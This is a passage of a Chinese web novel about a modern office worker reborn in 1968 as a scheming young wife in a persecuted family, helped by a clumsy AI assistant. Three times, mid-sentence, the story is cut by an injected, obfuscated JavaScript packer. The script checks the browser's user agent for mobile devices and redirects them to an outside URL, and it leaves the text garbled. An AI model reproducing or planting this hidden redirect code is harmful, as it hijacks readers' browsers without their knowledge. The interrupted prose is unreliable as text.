《穿六零毒妇,我靠Ai走上人生巅峰》 1. 我穿越了,怀孕了 林晚霜再次睁开眼的时候,发现自己躺在地上,一旁的地上还放着菜刀。 她茫然的从地上爬起来,还没想明白自己明明被大货车撞了怎么没死的时候。耳边传来一个男人的声音。 “林晚霜,你害死我妈还不够,现在又想杀我?” 林晚霜抬起头正想辩解。脑海中突然涌入一段记忆—— 那是一个穿着花布衣,梳着两根麻花辫的村姑,她正站在一个穿着灰蓝色工装的男人面前低垂着头。 男人一脸严肃地看着她:“林晚霜同志,陆家全家下放的通知书很快就要送来了,这是你和坏分子家庭决裂的最后机会。能把握住吗?” 那村姑抬起头,豁然有着一张和她同样但明显年轻很多的脸:“请组织放心,我林晚霜与坏分子势不两立!” 然后她就看到这个和她同名同脸的村姑回到家,半夜起床把家里人拿绳子捆了起来。然后战战兢兢去厨房拿了菜刀。 可能是太紧张,她拿着菜刀一进门就被门槛绊住当场摔死。 再睁开眼,灵魂就变成了她:一个来自2025年因为加班被大货车撞死的可怜打工人。 原主留给她的信息太少,除了意图杀人,就只剩下一个名字。甚至连时间,背景都没交代。 此时,林晚霜用她打工十年磨练出来的信息归纳能力飞快地分析完自己的处境,得出一个非常不妙的结论。 然而更不妙的是,床上那个男人已经挣脱了绳子的束缚,赤脚走到她面前,一把扼住了她的喉咙。 他声音低沉,仿佛酝酿着无限怒火:“说,你想怎么死?” 林晚霜疯狂挣扎,她不想死! 她伸手死命抵抗男人,试图把他推离自己,强烈的窒息让她毫不怀疑,顶多再有一分钟,她就能达成穿越后死的最快成就。 林晚霜脑海里疯狂呼叫穿越之神,既然送我过来,那么系统,空间,金手指,老爷爷……无论是什么,快给我来一个吧! “叮咚”,她的眼前突然毫无征兆地弹出一个简洁的界面,白色的输入光标静静闪烁—— 【小爱同学:您好,我是小爱同学,请问有什么可以帮您?】 林晚霜此时疯狂在脑中大喊“救救我救救我”。 【小爱同学:对不起,我只是个ai,请你调整关键词重新输入……】 林晚霜已经开始翻白眼,不是气的,而是她快噶了。 突然,隔壁屋有小孩哭声传来—— “哥!哥!你在哪里?爸不好了!” 暴怒中的男人突然把她摔到一边,恶狠狠地看了她一眼,冲着声音响起的地方极速奔去。 呼吸恢复的瞬间,林晚霜顾不得起身检查,她倒在地上双手捂着脖子,疯狂呛咳,生理性的眼泪哗哗流下来,只觉得比面对大货车的死亡冲击还恐怖。 短短一天,她经历了两次生死考验。 然而不意外的话,第三次生死考验也快来了。 林晚霜缓了口气,忍着浑身剧痛艰难地起身,开始翻找可以保命的东西。 她凭借月光孱弱的光辉搜索这个不算大的房间。 房间很小,大概六七平,一张单人床,一个衣橱,一把椅子,还有一个暖水壶。她找了一圈,最后还是选择捡起地上那把菜刀。 拿着菜刀小心翼翼地出了门,隔壁房间的煤油灯亮着暖黄色的光。小孩的哭泣声时断时续,男人端着一盆热水急匆匆走进去,仿佛压根没看到她。 林晚霜看了圈客厅,有新近被搬空的痕迹,墙上的旧画历上显示1968戊申猴年。 林晚霜怔住,她工作闲暇的时候也会刷刷短剧,1968年,坏分子,全家下放,断绝关系。光是这些字就已经足够她脑补出一百集恩怨情仇了。 这个年代为了避免下乡,子女举报父母,学生举报老师,下属举报领导,夫妻登报义绝的事绝不少见。 然而林晚霜不明白的是,原主为什么要用杀死陆家全家的方法来断绝关系?难道杀人不犯法吗?记忆中的那个男人是有给她什么暗示让她不得不这样做吗?组织它正经吗? 林晚霜颤抖了一下,暗恨原主走的干脆,一点提示都不给她留下。 甚至她都不知道刚刚那个掐她脖子的男人和原主到底是什么关系? 难道是那男人巧取豪夺了原主,所以原主蓄意报复? 不对,听那男人都意思,原主还害死了那男人的妈。 天呐,这都什么破事啊! 林晚霜只觉得自己天降黑锅,身处绝境却什么都做不了。 不过,她好像有个金手指? 林晚霜在脑海中和金手指沟通:小爱同学,请告诉我这个家都发生了什么? 【小爱同学:对不起,我只是个ai,请你调整关键词重新输入……】 林晚霜:请告诉我,原先的林晚霜身上发生的事。 【小爱同学:对不起,我只是个ai,请你调整关键词重新输入……】 林晚霜:请告诉我怎么才能活下来? 【小爱同学:多吃饭多睡觉就能活下来了呢。】 林晚霜气笑:“太好了,我的金手指是个废物!” 【小爱同学:对不起,我只是个ai,请你调整关键词重新输入……】 林晚霜气急:请告诉我,你能做什么? 【小爱同学:我是你的专属ai客服,可以根据你输入的关键词为你链接全网知识数据库查询你想要的知识。】 “我现在不需要知识,我需要剧情提示啊!” 她深深地感到了无力:“穿越大神,您能不能给我换个金手指?” 然而穿越大神没有回应,回应她的是刚刚那个男人的声音。 他似乎非常愤怒:“林晚霜,你给我滚进来!” 林晚霜犹豫了一秒,考虑到男人的武力值,最终还是走向那个点了煤油灯的房间,只是进去前她把菜刀藏在了自己身后。 房间的床上躺着一个头发花白的老人,看到林晚霜进来,他抬起眼皮,看向一旁的男人,咳了几声。 “爸,她进来了。”男人低声说。 “沉舟啊,”老人声音喑哑,“离了吧,不能强迫人家跟我们吃苦。放她走吧。” 林晚霜内心巨震:原主居然是这家的儿媳妇? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030836|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的天,害死婆婆,捆绑全家,这特么也太生猛了。老一辈玩的真花,这剧情短剧都不敢写! 一旁哭成花猫的小男孩蓦然抬起头:“爸,不能放过她!她都把我们绑起来……” “星野闭嘴!”那个男人,陆沉舟喝止住小男孩,不让他继续说。 陆沉舟看向林晚霜:“刀放下吧。” 林晚霜下了一跳,身体向后挪了一步,尽量装出疑惑的语气:“什么刀?哈哈,你在说什么?” 小男孩冷哼一声:“我哥以前在部队,你那点小伎俩瞒不过他眼睛。” 林晚霜瞥了一眼陆沉舟,见他脸上没有杀意。立刻放下刀:“我就是觉得这么金贵的东西不能随便搁地上,我怕它着凉……” 这话没说完,她自己就闭了嘴。 怕一把刀着凉……这死嘴真快啊! “我爸心善,”陆沉舟不急不缓地说,“明天就去离婚,你自己出钱登报和我家断绝关系。” 林晚霜直觉有诈,这男人之前还一副要对她除之而后快的态度,现在怎么突然就同意放她走? 难道说,这离婚有猫腻? 林晚霜立刻警惕地看向他:“离婚有什么条件?你到底有什么阴谋?” 陆沉舟笑了:“我家既然同意离婚,自然不可能再耍什么阴谋。倒是你,为了不嫁给一个死了四个老婆的鳏夫,设计爬了我的床,又假怀孕逼着我娶你。现在离婚再回去,该怎么过日子呢?” 林晚霜被他话中透露出来的信息惊得连连后退。 这特么是什么天坑啊!原主的娘家虽然没被提到,但可想而知,能逼着自己女儿不惜爬床假怀孕也要跑的家,能是什么好的? 林晚霜面上不动声色了脑海中立刻联系小爱同学,查询1968年离婚后如果不回娘家能不能自己创业。 【小爱同学:1968年是计划经济实行的高峰期,所有生产资料都归国家所有,个人不允许创业,且严厉打击投机倒把行为哦。对了,没有介绍信,户本口,出差证明,等同于盲流,是会被送进收容所再教育的哦。】 林晚霜快速查看了下再教育的内容,发现居然要被审查和羁留,完了后还要送去劳改一段时间,直到找到可以遣送的地方。 她立刻放弃离婚后单打独斗的想法,现在的情况是,陆家不拦着她离婚,甚至陆沉舟挺愿意她离婚的。 而从陆沉舟对她的态度上不难得知,离婚回娘家在陆沉舟的认知里,是对她最大的惩罚,甚至超过死亡? 林晚霜不明白这到底是什么情况,但她决定先不要轻举妄动。 大家都知道了敌人越希望你做的事,你越不能做。 陆沉舟现在就是她的敌人了而且是恨不得弄死她的敌人。 现在这个敌人看起来是很希望她离婚。 林晚霜突然笑了。 她摸上自己的肚子:“其实我也很想离婚,但是有个情况我要说一下。” 陆沉舟直觉有诈,瞳孔微缩。 林晚霜捂嘴假吐,然后抬头冲他笑了一下:“其实我可能没有骗你们,这几天我每天都会干呕。我大概是,真的怀孕了。” 2. 怀没怀孕?这是一个玄学问题 林晚霜刚刚穿到这具身体,尚且有很多事没弄懂。 但有一点她很确信—— 陆家都是好人,如果不是好人,原主爬床他们可以不认,原主假孕他们可以提离婚,原主气死了婆婆,他们可以打她囚禁她。 然而这一切都没发生,虽然没有记忆,但光是看她和陆家人的穿着就能发现,他们从来没克扣过她,相反,他们甚至还给了她捆绑自己的机会。 而现在,继原主后,她也要欺负这群好人了。 摸着自己都不确定有没有货的肚子,她内心有些不安:还是尽快确认下娘家的真实情况吧。 只要不太糟糕,她就再和陆沉舟提离婚,以给孩子一个安稳的生活环境为借口,陆家人应该不会太为难。 到时候如果没怀孕,她就藏匿起来装死,反正陆家人大概率没个几年是回不来的,陆沉舟再愤怒也对她没办法。 如果真怀了,她就把孩子生下来,反正上辈子还没谈过恋爱,有个完全属于自己的孩子也不错。 只要熬过计划经济时期,等改革开放了,就凭她熟知未来风向,又有小爱提供的知识库,随便做个生意那还不是得风生水起? 到时候再好好补偿陆家,说不定还有可能一笑泯恩仇。 然而她没想到,她随口说的怀孕却激的陆父猛坐起来。 “咳咳咳咳,”陆父起身到一半又颓然落下,他剧烈咳嗽着,浑身都在颤抖。 陆沉舟立刻扶住他,轻轻给他拍背,陆父伸手死死抓住他,仿佛想要说些什么,然而一张嘴,又是止不住的咳。 陆星野端起掉瓷的搪瓷杯给他轻轻喂水。 好半晌,陆父的咳嗽终于止住。他看向林晚霜,眼睛亮的惊人:“你真的怀了?” 林晚霜霎时明白,他已经把这个不知道存不存在的孩子当做自己的精神支柱了。 这是她完全没预料到的情况,她根本没有原主的记忆,压根不能确定这身体有没有孕。 随口编的借口也只是想着在没搞清楚娘家情况时,先不能贸然离婚。 可现在陆父这个样子,万一这身体肚子里没货…… 陆父脸色极速灰败下去:“没怀啊。” 林晚霜心头一紧:原主用假怀孕气死婆婆,她如果再搞个假怀孕气死公公…… 她咬了下舌尖:“我不确定,只是这几天早上起来老是想吐。” 她说谎了,她哪里知道原主这几天有没有想吐?刚刚她那个吐还是现装的。 然而陆父的脸色肉眼可见地变好了:“那就是怀了,太好了,我总算能在死之前抱到孙子了。等我死了下去和沉舟他娘也算有了交代。” 陆星野张嘴要说话,却被陆沉舟伸手拦住。 陆父又轻轻拍了下陆沉舟的手:“沉舟,对她好一点。” 陆沉舟咬牙应下。陆父又催着他们赶紧去休息,说是太晚了对孩子不好。 陆沉舟阴沉着脸和林晚霜离开陆父的房间。两人来到林晚霜的卧室。 林晚霜这才发现,她住的地方居然比陆父还“豪华”,床上都是崭新的大红色,双人床,柜子虽然不大,但也是新的。 就连床边放着的搪瓷杯都是新的,而陆父刚刚用的搪瓷杯已经掉了瓷,床上的被褥都是半新不旧。 陆沉舟那间卧室更别提,还没她这里一半大。床上的四件套要么起了毛边,要么脱了色。 她心情变得更加复杂:陆家人这是把最好的都紧着原主了。 陆沉舟一进门就低声道:“林晚霜,我爸现在的情况很不好,你如果又是假怀孕。我一定不会放过你。” 林晚霜忍不住试探:“我怀没怀你还不清楚?咱们不是睡过吗?” 门被轻轻地推开,陆星野进来了:“爸睡着了,我想跟着听听。” 陆沉舟没管他,只是认真地看向林晚霜:“我再说一次,那天你给我下了很多药,我意识完全模糊了。” 林晚霜一惊:下药!原主你居然玩这么大? 陆星野抬起头恶狠狠地看向林晚霜:“坏女人,你说,你到底有没有怀孕?如果你敢再拿怀孕骗人,我……拿菜刀砍死你!” 林晚霜觉得冤的慌,怀没怀孕她知道个屁? 这起事件里面的两个当事人,一个换了芯子没了记忆,一个被下了重药意识模糊。这不就是笔烂账? 她只能从其他方面找线索:“你哥要是没和我睡,你家会同意我嫁过来?” 陆星野立刻跳起来,像只护主的小兽,对着林晚霜呲牙:“不是你跟我妈说你已经不是清白身子了,我哥不娶,你就去死?” 林晚霜继续试探:“这不说明我和你哥睡了嘛。既然睡了,怀个孩子不挺正常。” 陆星野气的跳脚:“你嘴里就没句实话!你跟我妈说你怀孕了,我妈逼我哥娶了你,结果过门才几天,你又跟我妈说你压根没和我哥睡过。一切都是骗她的。” 林晚霜听的有点迷糊,假设陆星野说的都是真的,那原主到底要图个啥? 睡了也是她说的,没睡也是她说的。她在陆家反复横跳,难道纯粹是想做个杀手,好平等地弄死陆家所有人? 算了不纠结了,就目前得出的信息她除了知道原主脑子有病,其他啥都不清楚。 不过,有件事她得掰扯明白:“妈真的是被我气死的吗?” 就算是诸葛亮也没办法单凭一件事直接气死人吧?总所周知,压倒骆驼的不是最后一根稻草,而是每一根。 这事她今天必须闹清楚,就算以后要离婚回娘家,她也不能背着一个“气死婆婆”的名头。虽然这其实都是原主造的孽。 房间里一片寂静,静的只能听到心跳声。过了几分钟,陆沉舟开口了。 “我妈的身体一直不太好,那段时间事又太多,家里突然被划成坏分子,割委会来抄家,我也被退伍了,星野被人欺负,爸也被人撞伤。” 陆沉舟平静的阐述事实,声音听不出喜怒:“只是她一直被你怀孕的喜讯吊着口气,直到你告诉她那是假的,这口气就散了。” 林晚霜强按住对原主的批判,努力为自己的处境争取一线机会:“所以,这不能全算是被我气死的对吧??” 陆沉舟看着她:“不全算,但没有你的最后一击。她现在应该还活着。” 这事儿林晚霜也清楚,原主真是太作死了!现在芯子换成了她,这条人命也只能她背了。 陆沉舟最关心的还是现在:“我爸今晚的情况你看到了,如果不是你把他捆起来不给盖被子导致他着了凉,他也不至于病上加病。说实话我真的想弄死你,但是你告诉我爸你怀孕了。他现在因为这个精气神又回来了。林晚霜,你给我交个底,这次是实话吗?” 陆星野也看过来,眼神中尽是仇恨。 这个问题,林晚霜也不知道怎么回答。如果原主真的和陆沉舟睡过,那么怀孕的可能性还是有的。 但现在,谁能知道他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030837|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们到底有没有睡过啊? “我是有呕吐的反应,”林晚霜决定不把话说死,“但是月份太浅,咱们应该也就睡过那一次。中没中我真的不敢打包票。” 陆沉舟眼中杀色又起:“所以你怀孕又是撒谎。” “这也不全是,”林晚霜努力做出诚恳的模样,“我是真的不确定,你看万一我要是怀了,告诉你没怀,孩子以后生下来就是父不详,得受多少委屈。那我不是不敢赌这个可能嘛。” 陆沉舟脸上的怒气稍稍散了些,陆星野也听的点头。 “这样看来你这个坏女人也不是完全没心的,”陆星野总结,“我大侄儿肯定不能是父不详。” “所以我就冒险把这事说出来了,”林晚霜打蛇随棍上,“但万一哈,我是说万一我没怀。爸知道了怎么办?” 陆星野反应极快看向陆沉舟:“哥,要不你和她多睡几次?” 陆沉舟压根不搭理他,只看着林晚霜,一字一句:“如果你没怀,就离婚,自己回娘家去。爸那边就说你想给孩子一个更好的生活环境。有问题吗?” 这就是林晚霜想要的,她立刻点头:“应该的。” 陆沉舟转身要走:“你先睡吧,明天我去找人换些东西回来,你有需要的吗?” 林晚霜摇了摇头:“多买点吃的,用的。不管接下来被安排到哪里,多备着些总是没错的。” 她心里默默补充,万一原主娘家没那么糟糕,我肯定会和你离婚,所以钱还是全用来筹备下放的物资吧。 陆沉舟看了她一眼,没有回应,径直走到门口。 “等一下,”林晚霜突然叫住他,“我明天想回娘家看看,你能不能陪我去?” “你结婚到现在都没回门,现在要回该不是有什么阴谋吧?”陆星野立刻跳了起来,“坏女人,我还没问你今天为什么要绑我们?” 这问题终究还是落下来了。 林晚霜也没想过能瞒住,事实上她自己知道的也不多。 然而她换芯了,失忆了这种事说出来谁会信?就算陆家人很善良她也不想赌他们不会把她当异类。 “好像是割委会的赵干事,”林晚霜思考着措辞,“他说只要我杀了你们,就给我一个进宣传队的机会。” 陆星野大叫起来:“什么?你要杀了我们?” “小声点!”陆沉舟呵斥,“爸还在睡觉。” 陆星野赶忙捂嘴,又低声愤恨道:“你这个坏女人太狠毒了。我还以为是你想绑了我们明天找割委会上门表示和我们断绝关系的决心。结果你居然是要杀人。” 林晚霜头疼,林晚霜狡辩:“我也没真杀啊,都吓得拿不稳刀把自己摔晕了。再说了,你们也不想想,为啥赵干事要我杀你们。这一看问题就是出在你们身上!” 陆星野还要嚷嚷,却被陆沉舟阻止:“这事我知道了。所以你还要继续吗?” “继续?”林晚霜摆手,“我根本没那个胆子,再说,如果想继续,我干嘛告诉你们?赵干事我不会再接触了。” 这是真话,无论以后要不要离婚,她都不会再去接触赵干事。虽然宣传队的工作听起来应该很不错,但她实在做不到拿人命给自己铺路。 陆沉舟看了她一眼:“明天星野会陪你回娘家。” 话题拐的太快,林晚霜愣了一下。 陆沉舟认真解释:“我需要抓紧时间去找人换东西,星野陪着你,如果你妈打你,他可以帮你挡着。” 3. 奇怪的娘家 林晚霜拎着个小竹篮和陆星野走在巷弄里。 她看起来恹恹地,就在刚刚吃早饭的时候,她被特殊对待了。 三碗能一眼数的清颗粒的玉米碴子粥旁边放着一碗浓稠的白米粥。 她伸手就去拿玉米碴,却被陆沉舟抓住手。 陆父咳了几声,自己锤着胸口停下来,颤巍巍起身就把白米粥推她面前:“沉舟媳妇,你吃这个。” 就连陆星野也拿眼睛剜她:“你给我吃干净点,不准剩!我大侄儿不能没营养!” 林晚霜摸上小腹,张口想说自己还不确定有没有怀孕呢。但看着陆父满脸期待,陆星野别扭又开心的表情。她最终闷闷落座,低头吃完了那碗白粥。 吃的很干净,没剩一粒米。 吃完饭准备走的时候,陆父又把家里仅剩的两把菜和几块糕点装篮子里给她。 林晚霜好说歹说才把糕点留下来,末了陆父还硬是塞给她10块钱。说回娘家不能什么都不带,家里没好东西了,让她和娘家人道个歉。 其实刚从25年过来的林晚霜并不认为白粥是什么好东西,两把菜和10块钱的珍贵她暂时也体会不到。但陆家这份心意却压的让她喘不过气来。 陆家人对她太好了,就算他们的出发点可能并不是为了她,但这些实实在在地好处她享受了。 陆家是好人,但她不是,她自私自利,她用了三十多年,学会的永远是怎么在绝境中为自己找到最有利的出路。 上一世,她有一个家,生病的奶,出轨的妈,巨婴的爸。这个家犹如一张密不透风的网,将她绞缠,束缚,直至吸收完她所有的血肉。 她高中没读完就辍学,因为没钱,也因为她爸和人发生口角,她妈把她推出去保护爸爸,让她骨折躺了三个月。 贱命不需要去医院,骨头长歪了,低学历带着一条瘸腿被赶出去赚钱养家。她不认命,她在绝境中拼命抓住一切机会往上爬。 毫不夸张的说,为了和后面的同事们坐在一起喝杯咖啡,她走了一条披荆斩棘的血路。 她的身体残缺了,心理也生了重病。只要一闲下来,脑海中就会自动播放今天做错了什么,昨天说错了什么,前天哪里做的还不够好…… 所有人都觉得她努力上进,是天生的打工人。没人知道这是脑海中一遍遍强迫复盘换来的,而代价是,她失去了睡个踏实觉的资格。 然而无论多努力,她都遇不到一个好人。辛苦做出来业绩,升职的却是别人。毕竟她腿有问题,影响部门形象。 已经按时给家里打钱了,家人却还是找到公司一哭二闹三上吊。毕竟她都在大城市了,肯定有更多钱。 她不止一次地希望他们早点死,结果最先死的却是她。 而现在,她也只是在这时候才重新想起他们,并且真切的期盼他们老无所依的时候会想起她,会开始对她产生愧疚和忏悔。 所以,她觉得自己真的是坏人,哪怕是对生她的血亲,她都怀着巨大的恶意。 可是现在是怎么回事?她这么坏的一个人,居然会因为一碗白粥,对陆家产生了巨大的愧疚。 然而这愧疚在她自己想来也是透着一股子虚伪的,因为她正在为了自己,冷酷的比对是要留在陆家,还是离婚回娘家。 林晚霜低声讽刺地笑了一声:“我果然不是好人,无论什么时候,都在为自己找最有利的出路。” 她声音太小,陆星野没听清,他疑惑地抬起头看了眼林晚霜。或许是察觉到了她的不安,第一次主动伸出手去拉她。 林晚霜一怔,手中多出来一只温软的小手。 小手的主人紧紧抿着嘴,看着前方大门紧闭的四合院:“那个,你不要害怕。如果你奶他们打你,你就往后跑!我会努力拦着他们的。” “打我?”林晚霜疑惑,“我不是都19了吗?” “他们打你又不看年龄,”陆星野叹气,“你在想什么?就婚礼那天,你妈还举着竹扫帚打你呢。” 林晚霜不敢置信,原主的娘家能这么离谱?婚礼啊,就算是深仇大恨也不能在这上面闹事吧? 陆星野四处张望,显得非常警惕:“你要打护好肚子,可不能再让你弟把你踹出血。” “我弟?”林晚霜突然摸向自己的脖子,似乎又看到了陆沉舟掐自己的模样,“我弟和你哥比,谁更厉害?” 陆星野翻了个白眼:“你疯了吧,你弟才7岁。居然敢和我哥比?” 林晚霜松了一口气,才7岁?那还不是她一巴掌就可以按死的渣渣?结合林晚霜优秀的人品,她几乎可以断定这就是姐弟俩演给陆家看的苦肉计。 陆家,真的太好骗了。 林晚霜突然感觉眼睛有点发涩,她看着一脸认真警惕似乎真把自己当成护卫的陆星野,叹了口气:“你以后……可长点心吧,有时候眼睛看到的不一定是真的,你们家的人都太善良了,容易被骗。” 陆星野撇了撇嘴:“我聪明着呢。” 林晚霜不再多说,上前一步扣响了四合院的大门。 过来开门的是一个中年女人。她眉眼温和,长了很多皱纹,看起来就是脾气很好的模样。 林晚霜正准备张口喊妈,就见一盆污水朝着这女人泼过来。女人条件反射地伸手挡住林晚霜,被浇了个透彻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030838|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林晚霜瞬间感觉心头暖流涌动:这就是原主的妈?这也太好了吧!这样的娘家怎么可能是龙潭虎穴? 她想要离婚回来的心更坚定了几分,有这样的妈妈就算日子难过点也不怕。看来重活一世,她总算是要得到母爱了。 然而陆星野却开口了:“高婶儿,你今天在呢?今天我嫂子回来看她爸妈。” 林晚霜美梦做了一半突然破碎,她看向那个淋透的中年女人:“高,高婶?” 高婶显得有些紧张,她低声道:“霜儿,你咋回来了?你快走,你家商量着要把你……” “我看看是谁来了!”一个尖刻地声音突然响起,高婶被一把推开。 林晚霜看到了一个吊梢眼女人,女人系着洗的发白的围裙,袖子挽的高高的,头发被扎成个圆髻,看到林晚霜立刻抓她篮子看了眼,嘴里发出不屑的啧声,然后直接上手扒拉她的衣服兜,查完直接掀衣服看。 “小贱人还知道回来?带了多少钱?妈的!一分没有?!”女人查了一圈没找到钱,气转身回去操起墙边竹扫帚冲过来。 “这是我妈?”林晚霜其实也不是不能接受,但是有了高婶珠玉在前的对比,她现在心情极其复杂。 “啪啪啪” 竹扫帚已经先发制人,朝她劈头盖脸乱打过来。 陆星野一边推她走,一边试图上前抢扫帚。吊梢眼女人也不客气,直接连他一起打。嘴里还疯狂输出含妈量极高的脏话。 【小爱同学:叮咚,检测到恶意攻击,建议攻击下三路,附赠骂街话术一百句~】 原主的妈还在骂:“你以为你还是陆家小少爷呀?你现在就是个地主崽,准劳改犯!等你下放了,保管不要两天就死的板直。” 林晚霜不顾陆星野的阻拦,上前一步直接迎下一扫帚,然后抓住扫帚杆夺过,反手就是一通打。 “天苍苍野茫茫,我不打你你就狂?”她照着脑海里的文字提示念了一句。 “我去,出口成脏啊。”陆星野目瞪口呆,他还是第一次见识到古诗句乱组的骂人方式。 林晚霜打的起劲,干脆抛弃那100句话术,开始自由发挥:“你狂是吧?你傲是吧?你死了挺的不直老娘把你打直!” 【小爱同学:警告!警告!你所处的年代这样骂父母是会被抓去做盲流的!】 林晚霜愣住,在她愣住的一瞬间,一只苍老的手飞快抓住了她。 林晚霜反射性要挣脱,却听到一声哭腔:“我可怜的霜儿啊,你被张银花这个泼妇逼成啥样了!奶奶心疼啊!” 林晚霜的扫帚落下,她转身看向拉着她的干瘦老太婆:“奶奶?” 4. 洞房花烛 干瘦的老太婆手劲出乎意料的大,她紧紧扣着林晚霜,连掉在旁边的竹篮都没捡,亲亲热热地拉着她就往里头走。 路过高婶的时候,林晚霜发现她在对着自己疯狂眨眼睛。心头对着这个突然出现,过分亲热的老太婆多了几分警惕。 老太婆一边走一边拿眼睛打量她:“霜儿啊,你这结婚一走就是个把月,连三朝回门都不回了,是不是在记恨婚礼上你弟弟踢你的事情?” 林晚霜暗自记下,原来婚礼上除了原主的妈打过她,原主的弟弟也有参与。 她趁机抽出手,假装抹眼睛:“奶啊,我妈我弟他们为啥打我啊。婚礼啊,一辈子我就那么一次婚礼。” 老太婆咬了咬牙,声音像是挤出来的:“都是小事,过去的事咱不提了哈。一切都向前看,霜儿啊,奶奶看你这福气相,以后的日子保管差不了。” 陆星野从后面追了上来,轻轻扯了扯林晚霜的衣服,像是有话要说。林晚霜拉了拉他的手,继续看向老太婆。 “奶奶啊,”林晚霜带着哭腔,“我这都要跟着陆家去劳改了,咋还有好日子过?” 老太婆脸色变了变:“你不离婚回来?” 林晚霜立刻摸向肚子:“我都怀孕了,咋回。再说了,离婚名头也不好听。” 老太婆眼中闪过一抹凶光:“你咋搞得?咋还怀上了?你这样……你这样不是糟践自个儿嘛。” “林奶奶你这话说的好笑,”陆星野忍不住了,“我嫂子又不是和人搞破鞋,我们家可是出了300块彩礼钱光明正大娶过门的,咋她怀个孕就成糟践了?” “你个小地主崽子也配在我们家说话?”老太婆眼睛一横,“让你进来你就烧高香去吧。” 话音未落,三人已经走到了房门口。老太婆推着林晚霜进去:“霜儿坐,奶奶去给你冲个糖水甜甜嘴。” 林晚霜趁她离开去找糖,立刻低声问陆星野:“你刚刚要说什么?” 陆星野皱眉:“你妈和高婶儿说,如果她乱说话被你听到,破坏了你们家的好事,就让高婶儿滚出四合院。” 林晚霜咂摸着这里头的含义,结合刚刚老太婆的话,明白这是全家都在等着她离婚,重新卖她一回呢。 这样看起来,林家真不是个好去处。只有千日做贼的,哪有前日防贼的?她对这个时代还不熟,原主的记忆也没有。生活在这里光是应对林家人都够她受了。 比起调停内部问题,她更愿意面对外部困难。 林晚霜有了决定,而这决定一出来,她就感觉心情,涌现出的第一个念头竟然是:总算不用伤害陆家人了。 不过,她马上又想到件要命的事:原主肚子里有货吗?如果没有,陆家人还是注定要被她伤害。 这年头可没有验孕棒,想要赶紧确认,最好是找个大夫把脉。 林晚霜正在思考呢,老太婆已经端着碗糖水走了进来了,一进来就把糖水递给她,示意她趁热赶紧喝。 这年头冲糖水待客算是非常高的待遇了,可惜林晚霜是昨天才穿来的,她暂时理解不了,甚至嫌弃糖水腻歪。 接过糖水就递给陆星野:“你喝吧。” 老太婆急了:“不行,他不能喝!这糖水金贵的很,地主崽子不配!” 林晚霜急着跟她套话,见状只是安抚了句:“奶,你就当是我喝的行不。反正我不想喝。” 老太婆急了:“你怎么能不喝呢?奶奶好不容易盼到你回来了,这糖水你必须得喝,喝了日子才能甜甜蜜蜜。” 这下子林晚霜倒是正视起这碗糖水了。 她突然笑起来,声音甜腻如同裹了蜜糖:“奶奶,我马上就要跟着陆家去劳改了,你说这日子怎么才能甜蜜起来?” 陆星野惊讶地看向林晚霜,却见她对自己示意不要说话。 正这时,一个臊眉搭脸的男人路过门口,和老太婆对视一眼,老太婆脸色突然和缓下来,也不急着逼她喝糖水了。 老太婆抓起她的手,轻轻抚摸:“乖孙女,陆家是陆家,你是你,至于这怀了个孽种,也简单,咱们去趟子医院不就好了。” 林晚霜强忍住恶心:“奶奶说的我听不太懂,就我这样的身份,离了婚还打了胎,回娘家也是被人指指戳戳的。” 老太婆笑了:“这你不用担心,咱们早就给你想好出路了。现在最要紧的是,啥时候离婚?离婚了能分多少钱回来?” 林晚霜抽出手端起糖水,笑吟吟地递给她:“奶奶先喝口甜水润润嘴,咱们详细商量下怎么做。” 老太婆仿佛看到毒蛇一般,立刻后仰身体:“霜,这是给你冲的,千万别撒咯。” “没事,我孝顺呢,”林晚霜站起身,“星野,帮我按住奶奶,我亲自给她喂。” 陆星野立刻闪身过去,按住想要起身的老太婆。 林晚霜端着糖水慢慢走近,老太婆疯狂挣扎,眼见那碗要挨到嘴边,又是摆手又是捂嘴,神情慌乱,五官乱飞。 “这水里有东西。”陆星野算是看明白了。 不仅有东西,林晚霜还敢肯定,八成就是原主给陆沉舟用过的东西。 来不及思考为什么一个普通的人家会出现这种药,她伸手捏起老太婆的下巴,使劲掰她嘴。 “说吧,你们把我卖给谁了?”她如同恶魔一般在老太婆的耳边低语,“不说,今天我就送你一个洞房花烛夜。” 老太婆急得双手乱舞,想说话又不敢张嘴,看着林晚霜的眼中满布恨意。 “下药是吧?法外狂徒是吧?妈的,自己下的自己喝!”林晚霜一发狠,捏开了老太婆的嘴角,举起糖水就往里灌。 “咕噜咕噜咕噜” 老太婆奋力挣扎:“你个贱丫头……咕噜” 她赶紧闭了嘴,心里头将林晚霜反反复复骂了几百次。然而那水仍旧不可避免的流入口中,咽了下去。 